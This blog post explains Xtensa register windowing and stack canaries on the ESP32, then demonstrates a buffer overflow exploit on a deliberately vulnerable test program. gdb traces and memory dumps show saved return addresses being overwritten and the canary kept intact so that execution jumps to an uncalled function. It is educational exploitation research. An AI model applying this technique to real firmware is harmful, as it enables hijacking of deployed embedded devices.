Exploiting vulnerabilities on Xtensa

Some time ago I encountered a bug introduced by my team which led to buffer overflow in HTTPD URI handler during ESP32 device provisioning. I was curious how easily buffer overflow vulnerability might be exploited on Xtensa platform.

Xtensa implements a set of 24-bit instructions that perform 32-bit operations. General purpose registers that can be used by instructions are A0-A15.

Windowed Register Usage:

Description of windowed register option in Xtensa processor specification:

The Windowed Register Option replaces the simple 16-entry AR register file with a larger register file from which a window of 16 entries is visible at any given time. The window is rotated on subroutine entry and exit, automatically saving and restoring some registers. When the window is rotated far enough to require registers to be saved to or restored from the program stack, an exception is raised to move some of the register values between the register file and the program stack. The option reduces code size and increases performance of programs by eliminating register saves and restores at procedure entry and exit, and by reducing argument-shuffling at calls. It allows more local variables to live permanently in registers, reducing the need for stack-frame maintenance in non-leaf routines.

ESP32 register file consists of 64 32bit AR registers and the window of 16-entry registers is rotated by using WindowBase and WindowStart special purpose registers as depicted:

From Xtensa processor specification:

The WindowBase Special Register gives the position of the current window into the physical register file. In the instruction descriptions, A[i] is a short-hand for a reference to the physical register file AR (AddressRegister) defined as follows:

The WindowStart Special Register gives the state of physical registers (unused or part of a window). WindowStart is used both to detect overflow and underflow on register use and procedure return, as well as to determine the number of registers to be saved in a given stack frame when handling exceptions and switching contexts. There is one bit in WindowStart for each four physical registers. This bit is set if those four registers are A[0] to A[3] for some call. WindowStart bits are set by ENTRY and cleared by RETW instructions.

Call, Entry, and Return Mechanism:

From Xtensa processor specification:

The register window mechanics of the {CALL, CALLX}{4,8,12}, ENTRY, and {RETW, RETW.N} instructions are:

In the definition of ENTRY above, the AR read and the AR write refer to different registers.

From Xtensa processor specification:

Windowed register option on ESP32 uses registers a0 and a1 for return address and stack pointer. They must always contain those values, because they are used for stack unwinding in debuggers and exception handling. Incoming arguments are stored in registers a2 through a7. The location of outgoing arguments depends on the window size.

Next picture shows what registers from the lager register file are cached by the processor:

WindowBase is 0x1 meaning window starts from register AR[4] (1 << 2 for A0 register) and occupies 8 rigisters in total (because it was a CALL8 instruction). It might be understood looking at WindowStart special register which has 15bit set. Everytime CALLN instruction is called PS.CALLINC is set to N>>2 and on ENTRY instruction WindowBase gets increased to PS.CALLINC value and in WindowStart WindowBase bit is set to 1. A0 which contains return address has 31 and 30 bits set to PS.CALLINC and is used to adjust WindowBase/WindowStart on returns. From the example above if program returns to previous call where return address has 31 and 30 bits set to b10, WindowBase will be adjusted to 0xf (15) because 0x1 - 0x2 (b10) = 0xf and WindowStart will have only 15bit set (OWB bit is getting cleared in WindowStart on return).

Window Overflow/Underflow Check:

The ENTRY instruction moves the register window, but does not guarantee that all the registers in the current window are available for use. Instead, the processor waits for the first reference to an occupied physical register before triggering a window overflow. This prevents unnecessary overflows, because many routines do not use all 16 of their virtual registers.

Let's consider a case when window overflow gets triggered by the processor. If WindowBase is 0xf and WindowStart is 0x8000 (15th bit set) and program calls only CALL8/CALLX8 instructions (frequently used) there shall be 7 more consequent calls in order to get WindowOverflow8 exception trigerred to save cached registers to the stack.

Initial state:
WindowBase 0xF |  AR[60] - AR[3]
WindowStart 0x1000.0000.0000.0000

>> CALL8/CALLX8

WindowBase 0x1 |  AR[4] - AR[11]
WindowStart 0x1000.0000.0000.0000

>> CALL8/CALLX8

WindowBase 0x3 |  AR[12] - AR[19]
WindowStart 0x1000.0000.0000.0000

>> CALL8/CALLX8

WindowBase 0x5 |  AR[20] - AR[27]
WindowStart 0x1000.0000.0000.0000

>> CALL8/CALLX8

WindowBase 0x7 |  AR[28] - AR[35]
WindowStart 0x1000.0000.0000.0000

>> CALL8/CALLX8

WindowBase 0x9 |  AR[36] - AR[43]
WindowStart 0x1000.0000.0000.0000

>> CALL8/CALLX8

WindowBase 0xB |  AR[44] - AR[51]
WindowStart 0x1000.0000.0000.0000

>> CALL8/CALLX8

WindowBase 0xD |  AR[52] - AR[59]
WindowStart 0x1000.0000.0000.0000

And only after 7th CALL8/CALLX8 when the function accesses registers A[8]-A[15] the exception will be raised.

The WindowOverflow8 exception code looks as follows:

WindowOverflow8:
// On entry here: window rotated to call[j]; the registers to be
// saved are a0-a7; a8-a15 must be preserved
// a9 is call[j+1]’s stack pointer
s32e a0, a9, -16
// save a0 to call[j+1]’s frame
l32e a0, a1, -12
// a0 <- call[j-1]’s sp
s32e a1, a9, -12
// save a1 to call[j+1]’s frame
s32e a2, a9, -8
// save a2 to call[j+1]’s frame
s32e a3, a9, -4
// save a3 to call[j+1]’s frame
s32e a4, a0, -32
// save a4 to call[j]’s frame
s32e a5, a0, -28
// save a5 to call[j]’s frame
s32e a6, a0, -24
// save a6 to call[j]’s frame
s32e a7, a0, -20
// save a7 to call[j]’s frame
rfwo

Window underflow gets triggered when a return instruction decrements to a window that has been saved to the stack (indicated by its WindowStart bit being cleared). The exception handler restores registers values from the stack and continues program execution.

The WindowUnderflow8 exception code looks as follows:

// rotates back to call[i] position
WindowUnderflow8:
// On entry here: a0-a7 are call[i].reg[0..7] and initially
// contain garbage, a8-a15 are call[i+1].reg[0..7],
// (in particular, a9 is call[i+1]’s stack pointer)
// and must be preserved
l32e a0, a9, -16
// restore a0 from call[i+1]’s frame
l32e a1, a9, -12
// restore a1 from call[i+1]’s frame
l32e a2, a9, -8
// restore a2 from call[i+1]’s frame
l32e a7, a1, -12
// a7 <- call[i-1]’s sp
l32e a3, a9, -4
// restore a3 from call[i+1]’s frame
l32e a4, a7, -32
// restore a4 from call[i]’s frame
l32e a5, a7, -28
// restore a5 from call[i]’s frame
l32e a6, a7, -24
// restore a6 from call[i]’s frame
l32e a7, a7, -20
// restore a7 from call[i]’s frame
rfwu

There are also WindowOverflow4/WindowUnderflow4 and WindowOverflow12/WindowUnderflow12 functions for CALL4/CALLX4 and CALL12/CALLX12 instructions respectively.

Register-Spill and Overflow Area:

The register-spill overflow area is equal to N–4 words, where N can be 4, 8, or 12 as determined by the largest CALLN or CALLXN in the function.

Stack canary:

On Xtensa stack canary check is implemented as follows:

   0x400d2190 <+0>:	entry	a1, 96
   0x400d2193 <+3>:	l32r	a5, 0x400d0044 <_stext+44>
   0x400d2196 <+6>:	memw
   0x400d2199 <+9>:	l32i.n	a5, a5, 0
   0x400d219b <+11>:	memw
   0x400d219e <+14>:	s32i.n	a5, a1, 60

Worth mentioning that compiler reserves 96 bytes for the function where last 32 bytes reserved for Register-Spill and Overflow Area (for CALL8 instruction).

4 bytes with offset +60 from the current stack pointer will hold stack canary value.

From the assembler code above it's double pointer deference:

(gdb) x/w 0x400d0044
0x400d0044 <_stext+44>:	0x3ffb1710
(gdb) x/w 0x3ffb1710
0x3ffb1710 <__stack_chk_guard>:	0x000037c9
(gdb) 

And finally check on return from the function:

(gdb) x/8i 0x400d2253
   0x400d2253 :	memw
   0x400d2256 :	l32i	a4, a1, 60
   0x400d2259 :	l32r	a3, 0x400d0044 <_stext+44>
   0x400d225c :	memw
   0x400d225f :	l32i	a3, a3, 0
   0x400d2262 :	beq	a4, a3, 0x400d2268 
   0x400d2265 :	call8	0x400d0fc8 __stack_chk_fail
   0x400d2268 :	retw.n

Exploit:

The purpose of this exploit to show how the function which is not supposed to be called in the program is getting called exploiting buffer overflow attack and bypassing stack canary check.

First the it's neceserry to check what functions (returned addresses) were saved on the stack being in the vulnerable function:

copy_credentials (s=0x3ffb23a0  'a' , p=0x3ffb23b5  'a' , "\311\067", length=236) at main/exploit-buf-overflow.c:54
54	{
(gdb) 
55	    char ssid[MAX_SSID_LEN + 1]={0};
(gdb) bt
#0  copy_credentials (s=0x3ffb23a0  'a' , p=0x3ffb23b5  'a' , "\311\067", length=236) at main/exploit-buf-overflow.c:55
#1  0x400d22db in parse_credentials (credentials=0x3ffb23a0  'a' , length=236) at main/exploit-buf-overflow.c:100
#2  0x400d2407 in start_app () at main/exploit-buf-overflow.c:210
#3  0x400d2422 in app_main () at main/exploit-buf-overflow.c:215
#4  0x400d0a3b in main_task (args=0x0) at ../esp-idf/components/esp32/cpu_start.c:497
#5  0x40084944 in vPortTaskWrapper (pxCode=0x400d09fc , pvParameters=0x0) at ../esp-idf/components/freertos/port.c:143

There are 6 functions calls. Let's check WindowBase and WindowStart in order to understand what registers were saved to the stack.

(gdb) info all-registers
pc             0x400d21a0	0x400d21a0 
ar0            0x3ffb3b10	1073429264
ar1            0x0	0
ar2            0x3ffaffd0	1073414096
ar3            0x3ffb4d70	1073433968
ar4            0x800d2407	-2146622457
ar5            0x3ffb3a90	1073429136
ar6            0x3ffb23a0	1073423264
ar7            0xec	236
ar8            0x3f403b38	1061174072
ar9            0x1f	31
ar10           0x1	1
ar11           0x5	5
ar12           0x800d22db	-2146622757
ar13           0x3ffb3a30	1073429040
ar14           0x3ffb23a0	1073423264
ar15           0x3ffb23b5	1073423285
ar16           0xec	236
ar17           0x37c9	14281
ar18           0x0	0
ar19           0x0	0
ar20           0x26	38
ar21           0x3ffb3720	1073428256
ar22           0x59	89
ar23           0x3ffae910	1073408272
ar24           0x1	1
ar25           0x3ffb3730	1073428272
ar26           0x3ffb3730	1073428272
ar27           0x4	4
ar28           0x800dbd21	-2146583263
ar29           0x3ffb3700	1073428224
ar30           0x3ffae968	1073408360
ar31           0x3ffae910	1073408272
ar32           0x3ffb3954	1073428820
ar33           0x0	0
ar34           0x8	8
ar35           0xff000000	-16777216
ar36           0x80082a0a	-2146948598
ar37           0x3ffb36d0	1073428176
ar38           0x37c9	14281
ar39           0x4	4
ar40           0x3ffb3954	1073428820
ar41           0x3ffae910	1073408272
ar42           0x0	0
ar43           0x0	0
ar44           0x37c9	14281
ar45           0x3ffb36b0	1073428144
ar46           0x1	1
ar47           0x0	0
ar48           0x5	5
ar49           0x80	128
ar50           0x5	5
ar51           0x0	0
ar52           0x800844e0	-2146941728
ar53           0x3ffb3670	1073428080
ar54           0x1	1
ar55           0x37c9	14281
ar56           0x37c9	14281
ar57           0x0	0
ar58           0x0	0
ar59           0x0	0
ar60           0x800d2422	-2146622430
ar61           0x3ffb3ab0	1073429168
ar62           0x3ffb23a0	1073423264
ar63           0x800d20eb	-2146623253
windowbase     0x3	3
windowstart    0x800a	32778

WindowBase is 0x3 meaning at the moment Window starts from AR[12] register (0x3 << 2). WindowStart is 0x800a which is b1000.0000.0000.1010 in binary format. This means that the first window that was cached shall begin from AR[60] register (0xf << 2).

AR[60] maps to A[0] which holds return address of last function that was cached in registers. However 31-30 bits contain PS.CALLINC and shall be taken into account during address check in debuger. Since our binary start from 0x400xxxxx we simply added offset kept in AR[60] in bits 0-29 to the start address.

(gdb) x/i 0x400d2422
   0x400d2422 app_main+6:	call8	0x40082694 esp_log_timestamp

As you can see the return address points to the app_main function that was last chached in register file. So if we take AR[61] shall be maped to A[1] which holds stack pointer of app_main() and check the Register-Spill Area we shall see return address and stack pointer for main_task().

(gdb) x/4w 0x3ffb3ab0-16
0x3ffb3aa0:	0x800d0a3b	0x3ffb3af0	0x00000001	0x00000000
(gdb) x/i 0x400d0a3b
   0x400d0a3b main_task+63:	movi.n	a10, 0

After main_task() there shall be final saved return address to vPortTaskWrapper() that can be checked at offset of -16 bytes from saved stack pointer of main_task():

(gdb) x/4w 0x3ffb3af0-16
0x3ffb3ae0:	0x80084944	0x3ffb3b10	0x00000000	0x00000000
(gdb) x/i 0x40084944
   0x40084944 vPortTaskWrapper+8:	movi.n	a10, 0

The return addresses of 2 functions were saved on the stack that can be overwritten by buffer overflow. However the exploit shall also get stack canary value to bypass stack overflow check.

Here the concept for exploit injection:

Worth mentioning that the attacker can create false backtrace by adding extra call frames on the stack in order to achieve necessary program behavior.

Debugger trace of the exploit:

(gdb) target remote:1234
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000400 in ?? ()
(gdb) c
Continuing.

Breakpoint 1, app_main () at main/exploit-buf-overflow.c:214
214	{
(gdb) c
Continuing.

Breakpoint 3, parse_credentials (credentials=0x3ffb23a0  'a' , "&", 'a' , "\311\067", length=-2146623253)
    at main/exploit-buf-overflow.c:81
81	{
(gdb) s
82	    if (!credentials) {
(gdb) 
89	    char *p = strstr(s, "&");
(gdb) 
90	    if (!p) {
(gdb) 
93	    } *p = '\0'; p++; 
(gdb) 
95	    if (*p == '\0') {
(gdb) 
100	    return copy_credentials(s, p, length); // on return from the function _WindowUnderflow will be called to load saved registers from the stack somewhere to AR[0-64] registers
(gdb) 
copy_credentials (s=0x3ffb23a0  'a' , p=0x3ffb23b5  'a' , "\311\067", length=236) at main/exploit-buf-overflow.c:54
54	{
(gdb) 
55	    char ssid[MAX_SSID_LEN + 1]={0};
(gdb) 
56	    char pass[MAX_PASSWORD_LEN + 1]={0};
(gdb) 
58	    if (p == NULL || length < 2) {
(gdb) 
62	    	memcpy(pass, p, length); // <<< --- buffer overflow will be here since length is not checked
(gdb) 
65	    if (s == NULL || strlen(s) < 2) {
(gdb)  x/120w 0x3ffb3af0-0x80
0x3ffb3a70:	0x61616161	0x61616161	0x61616161	0x61616161
0x3ffb3a80:	0x61616161	0x61616161	0x61616161	0x61616161
0x3ffb3a90:	0xdeadbeef	0xdeadbeef	0xdeadbeef	0xdeadbeef
0x3ffb3aa0:	0x800d20eb	0x3ffb3af0	0xdeadbeef	0xdeadbeef
0x3ffb3ab0:	0x61616161	0x61616161	0x61616161	0x61616161
0x3ffb3ac0:	0x61616161	0x61616161	0x61616161	0x000037c9
0x3ffb3ad0:	0xdeadbeef	0xdeadbeef	0xdeadbeef	0xdeadbeef
0x3ffb3ae0:	0x800d20eb	0x3ffb3b10	0xdeadbeef	0xdeadbeef
0x3ffb3af0:	0xdeadbeef	0xdeadbeef	0xdeadbeef	0xdeadbeef
0x3ffb3b00:	0x800d20eb	0x3ffb3b10	0xdeadbeef	0xdeadbeef
0x3ffb3b10:	0x61616161	0x61616161	0x61616161	0x61616161
0x3ffb3b20:	0x61616161	0x00000000	0x00000000	0x00000000
0x3ffb3b30:	0x00000000	0x00000000	0x00000000	0x00000000
0x3ffb3b40:	0x00000000	0x00000000	0x00000000	0x00000000
0x3ffb3b50:	0x00000000	0x00000000	0x3ffb3b5c	0x00000000
0x3ffb3b60:	0x00000000	0x00000000	0x00000000	0x00000000
0x3ffb3b70:	0x00000000	0x00000000	0x00000000	0x00000000
0x3ffb3b80:	0x00000000	0x00000000	0x00000000	0x00000000
0x3ffb3b90:	0x00000000	0x00000000	0x00000000	0x00000000
0x3ffb3ba0:	0x00000000	0x00000000	0x00000000	0x00000000
0x3ffb3bb0:	0x00000000	0xa5a5a500	0x3ffb3d20	0x3ffb3a90
0x3ffb3bc0:	0x3ffb3b50	0x00000000	0x3ffb2080	0x3ffb2080
0x3ffb3bd0:	0x3ffb3bbc	0x3ffb2078	0x00000018	0x00000000
0x3ffb3be0:	0x00000000	0x3ffb3bbc	0x00000000	0x00000001
0x3ffb3bf0:	0x3ffb2bb8	0x6e69616d	0x00000000	0x00000000
0x3ffb3c00:	0x00000000	0x00000000	0x3ffb3bb4	0x00000000
0x3ffb3c10:	0x00060720	0x00000001	0x00000000	0x00000000
0x3ffb3c20:	0x00000000	0x00000000	0x3ffae8a8	0x3ffae910
0x3ffb3c30:	0x3ffae978	0x00000000	0x00000000	0x00000001
0x3ffb3c40:	0x00000000	0x3f403c60	0x00000000	0x40001d48
(gdb) s
69	    	memcpy(ssid, s, strlen(s));
(gdb) 
72	    int ret = copy_to_global(ssid, pass);
(gdb) 
copy_to_global (ssid=0x3ffb3a38 'a' , pass=0x3ffb3a4d 'a' , "\311\067") at main/exploit-buf-overflow.c:35
35		if (t == NULL) {
(gdb) 
36			struct test *p = malloc(sizeof(struct test)); // malloc() will cause _WindowOverflow8 and later on _WindowUnderflow8 on return from copt_credentials() which loads modified return address from the stack
(gdb) 
37			if (p == NULL) {
(gdb) 
41			memset(p, 0x0, sizeof(*p));
(gdb) 
42			t = p;
(gdb) 
44		if (ssid && strlen(ssid) > 2) {
(gdb) 
45			memcpy(t->ssid, ssid, MAX_SSID_LEN);
(gdb) 
47		if (pass && strlen(pass) >10) {
(gdb) 
48			memcpy(t->pass, pass, MAX_PASSWORD_LEN);
(gdb) 
50		return ESP_OK;
(gdb) 
_WindowUnderflow8 () at ../esp-idf/components/freertos/xtensa_vectors.S:1894
1894	    l32e    a0, a9, -16     /* restore a0 from call[i+1]'s stack frame */
(gdb) 
1895	    l32e    a1, a9, -12     /* restore a1 from call[i+1]'s stack frame */
(gdb) 
1896	    l32e    a2, a9,  -8     /* restore a2 from call[i+1]'s stack frame */
(gdb) 
1897	    l32e    a7, a1, -12     /* a7 <- call[i-1]'s sp
(gdb) 
1899	    l32e    a3, a9,  -4     /* restore a3 from call[i+1]'s stack frame */
(gdb) 
1900	    l32e    a4, a7, -32     /* restore a4 from call[i]'s stack frame */
(gdb) 
1901	    l32e    a5, a7, -28     /* restore a5 from call[i]'s stack frame */
(gdb) 
1902	    l32e    a6, a7, -24     /* restore a6 from call[i]'s stack frame */
(gdb) 
1903	    l32e    a7, a7, -20     /* restore a7 from call[i]'s stack frame */
(gdb) 
1904	    rfwu
(gdb) 
copy_credentials (s=, p=0x3ffb23b5  'a' , "\311\067", length=236) at main/exploit-buf-overflow.c:73
73	    if (ret != ESP_OK) {
(gdb) 
77	    return ESP_OK; // on return from the function _WindowUnderflow will be called to load saved registers from the stack somewhere to AR[0-64] registers
(gdb) 
78	}
(gdb) 
_WindowUnderflow8 () at ../esp-idf/components/freertos/xtensa_vectors.S:1894
1894	    l32e    a0, a9, -16     /* restore a0 from call[i+1]'s stack frame */
(gdb) 
1895	    l32e    a1, a9, -12     /* restore a1 from call[i+1]'s stack frame */
(gdb) 
1896	    l32e    a2, a9,  -8     /* restore a2 from call[i+1]'s stack frame */
(gdb) 
1897	    l32e    a7, a1, -12     /* a7 <- call[i-1]'s sp
(gdb) 
1899	    l32e    a3, a9,  -4     /* restore a3 from call[i+1]'s stack frame */
(gdb) 
1900	    l32e    a4, a7, -32     /* restore a4 from call[i]'s stack frame */
(gdb) 
1901	    l32e    a5, a7, -28     /* restore a5 from call[i]'s stack frame */
(gdb) 
1902	    l32e    a6, a7, -24     /* restore a6 from call[i]'s stack frame */
(gdb) 
1903	    l32e    a7, a7, -20     /* restore a7 from call[i]'s stack frame */
(gdb) 
1904	    rfwu
(gdb) 
parse_credentials (credentials=, length=236) at main/exploit-buf-overflow.c:101
101	}
(gdb) 
_WindowUnderflow8 () at ../esp-idf/components/freertos/xtensa_vectors.S:1894
1894	    l32e    a0, a9, -16     /* restore a0 from call[i+1]'s stack frame */
(gdb) 
1895	    l32e    a1, a9, -12     /* restore a1 from call[i+1]'s stack frame */
(gdb) 
1896	    l32e    a2, a9,  -8     /* restore a2 from call[i+1]'s stack frame */
(gdb) 
1897	    l32e    a7, a1, -12     /* a7 <- call[i-1]'s sp
(gdb) 
1899	    l32e    a3, a9,  -4     /* restore a3 from call[i+1]'s stack frame */
(gdb) 
1900	    l32e    a4, a7, -32     /* restore a4 from call[i]'s stack frame */
(gdb) 
1901	    l32e    a5, a7, -28     /* restore a5 from call[i]'s stack frame */
(gdb) 
1902	    l32e    a6, a7, -24     /* restore a6 from call[i]'s stack frame */
(gdb) 
1903	    l32e    a7, a7, -20     /* restore a7 from call[i]'s stack frame */
(gdb) 
1904	    rfwu
(gdb) 
parse_credentials (credentials=, length=236) at main/exploit-buf-overflow.c:101
101	}
(gdb) 
start_app () at main/exploit-buf-overflow.c:211
211	}
(gdb) s
_WindowUnderflow8 () at ../esp-idf/components/freertos/xtensa_vectors.S:1894
1894	    l32e    a0, a9, -16     /* restore a0 from call[i+1]'s stack frame */
(gdb) 
1895	    l32e    a1, a9, -12     /* restore a1 from call[i+1]'s stack frame */
(gdb) 
1896	    l32e    a2, a9,  -8     /* restore a2 from call[i+1]'s stack frame */
(gdb) 
1897	    l32e    a7, a1, -12     /* a7 <- call[i-1]'s sp
(gdb) 
1899	    l32e    a3, a9,  -4     /* restore a3 from call[i+1]'s stack frame */
(gdb) 
1900	    l32e    a4, a7, -32     /* restore a4 from call[i]'s stack frame */
(gdb) 
1901	    l32e    a5, a7, -28     /* restore a5 from call[i]'s stack frame */
(gdb) 
1902	    l32e    a6, a7, -24     /* restore a6 from call[i]'s stack frame */
(gdb) 
1903	    l32e    a7, a7, -20     /* restore a7 from call[i]'s stack frame */
(gdb) 
1904	    rfwu
(gdb) 
app_main () at main/exploit-buf-overflow.c:216
216	    ESP_LOGE(TAG, "%s: SHALL RETURN TO print_error", __FUNCTION__);
(gdb) info registers 
pc             0x400d2422	0x400d2422 
lbeg           0x4000c2e0	1073791712
lend           0x4000c2f6	1073791734
lcount         0x0	0
sar            0x4	4
ps             0x60f20	397088
threadptr      0x3ffac7d4	1073399764
br             0x0	0
scompare1      0x0	0
acclo          0x0	0
acchi          0x0	0
m0             0x0	0
m1             0x0	0
m2             0x0	0
m3             0x0	0
expstate       0x0	0
f64r_lo        0x0	0
f64r_hi        0x0	0
f64s           0x0	0
fcr            0x0	0
fsr            0x0	0
a0             0x800d20eb	-2146623253
a1             0x3ffb3af0	1073429232
a2             0xdeadbeef	-559038737
a3             0xdeadbeef	-559038737
a4             0xdeadbeef	-559038737
a5             0xdeadbeef	-559038737
a6             0xdeadbeef	-559038737
a7             0xdeadbeef	-559038737
a8             0x800d2422	-2146622430
a9             0x3ffb3ab0	1073429168
a10            0x37c9	14281
a11            0x37c9	14281
a12            0x3ffb3b10	1073429264
a13            0x0	0
a14            0x3ffaffd0	1073414096
a15            0x3ffb4d70	1073433968
(gdb) s
esp_log_timestamp () at ../esp-idf/components/log/log.c:335
335	    if (xTaskGetSchedulerState() == taskSCHEDULER_NOT_STARTED) {
(gdb) finish
Run till exit from #0  esp_log_timestamp () at ../esp-idf/components/log/log.c:335
0x400d2425 in app_main () at main/exploit-buf-overflow.cc:216
216	    ESP_LOGE(TAG, "%s: SHALL RETURN TO print_error", __FUNCTION__);
Value returned is $60 = 125
(gdb) s
esp_log_write (level=ESP_LOG_ERROR, tag=0x3f4038c4 "test", format=0x3f403b84 "\033[0;31mE (%d) %s: %s: SHALL RETURN TO print_error\033[0m\n") at ../esp-idf/components/log/log.c:214
214	    va_start(list, format);
(gdb) finish
Run till exit from #0  esp_log_write (level=ESP_LOG_ERROR, tag=0x3f4038c4 "test", format=0x3f403b84 "\033[0;31mE (%d) %s: %s: SHALL RETURN TO print_error\033[0m\n")
    at ../esp-idf/components/log/log.c:214
0x400d2438 in app_main () at main/exploit-buf-overflow.c:216
216	    ESP_LOGE(TAG, "%s: SHALL RETURN TO print_error", __FUNCTION__);
(gdb) s
_WindowUnderflow8 () at ../esp-idf/components/freertos/xtensa_vectors.S:1894
1894	    l32e    a0, a9, -16     /* restore a0 from call[i+1]'s stack frame */
(gdb) 
1895	    l32e    a1, a9, -12     /* restore a1 from call[i+1]'s stack frame */
(gdb) 
1896	    l32e    a2, a9,  -8     /* restore a2 from call[i+1]'s stack frame */
(gdb) 
1897	    l32e    a7, a1, -12     /* a7 <- call[i-1]'s sp
(gdb) 
1899	    l32e    a3, a9,  -4     /* restore a3 from call[i+1]'s stack frame */
(gdb) 
1900	    l32e    a4, a7, -32     /* restore a4 from call[i]'s stack frame */
(gdb) 
1901	    l32e    a5, a7, -28     /* restore a5 from call[i]'s stack frame */
(gdb) 
1902	    l32e    a6, a7, -24     /* restore a6 from call[i]'s stack frame */
(gdb) 
1903	    l32e    a7, a7, -20     /* restore a7 from call[i]'s stack frame */
(gdb) 
1904	    rfwu
(gdb) 
print_error (a=-559038737) at main/exploit-buf-overflow.c:106
106	    ESP_LOGE(TAG, "%s: First, SHALL NOT BE HERE! Second Argument is equal to %x", __FUNCTION__, a);
(gdb) info registers 
pc             0x400d20eb	0x400d20eb 
lbeg           0x400014fd	1073747197
lend           0x4000150d	1073747213
lcount         0xfffffffd	4294967293
sar            0x4	4
ps             0x60d20	396576
threadptr      0x3ffac7d4	1073399764
br             0x0	0
scompare1      0x0	0
acclo          0x0	0
acchi          0x0	0
m0             0x0	0
m1             0x0	0
m2             0x0	0
m3             0x0	0
expstate       0x0	0
f64r_lo        0x0	0
f64r_hi        0x0	0
f64s           0x0	0
fcr            0x0	0
fsr            0x0	0
a0             0x800d20eb	-2146623253
a1             0x3ffb3b10	1073429264
a2             0xdeadbeef	-559038737
a3             0xdeadbeef	-559038737
a4             0xdeadbeef	-559038737
a5             0xdeadbeef	-559038737
a6             0xdeadbeef	-559038737
a7             0xdeadbeef	-559038737
a8             0x800d20eb	-2146623253
a9             0x3ffb3af0	1073429232
a10            0xdeadbeef	-559038737
a11            0xdeadbeef	-559038737
a12            0xdeadbeef	-559038737
a13            0xdeadbeef	-559038737
a14            0xdeadbeef	-559038737
a15            0xdeadbeef	-559038737
(gdb) bt
#0  0x400d20eb in print_error (a=-559038737) at main/exploit-buf-overflow.c:104
Backtrace stopped: previous frame identical to this frame (corrupt stack?)

Result of the program:

E (125) test: Stack Canary ->>> 37c9
E (125) test: Print address function ->>> 800d20eb
E (125) test: Stack pointer for main_task function sp 3ffb3ab0 ->>> 3ffb3af0
E (125) test: app_main: SHALL RETURN TO print_error
E (125) test: print_error: First, SHALL NOT BE HERE! Second Argument is equal to deadbeef

The exploit was running on QEMU which is why stack canary is 0x000037c9. If vulnerable program uses strlen() for incoming buffer length check the exploit won't be injected because the program copies data until first occurrence of terminated '0x0' byte in the incoming buffer. However on real hardware (ESP32) the canary value is different and might not contain terminated null byte:

E (280) test: Stack Canary ->>> 805d2d32

E (280) test: Print address function ->>> 800d1ea3

E (280) test: Stack pointer for main_task function sp 3ffb39a0 ->>> 3ffb39e0

W (290) test: Next SP address contains 0x0 = 3ffb3a00. Increase it to 32 bytes.
W (290) test: Next SP address = 3ffb3a20
E (300) test: app_main: SHALL RETURN TO print_error
E (310) test: print_error: First, SHALL NOT BE HERE! Second Argument is equal to deadbeef
E (310) test: print_error: First, SHALL NOT BE HERE! Second Argument is equal to deadbeef
E (320) test: print_error: First, SHALL NOT BE HERE! Second Argument is equal to deadbeef

All code from the article is available here.

References:

Xtensa® Instruction Set Architecture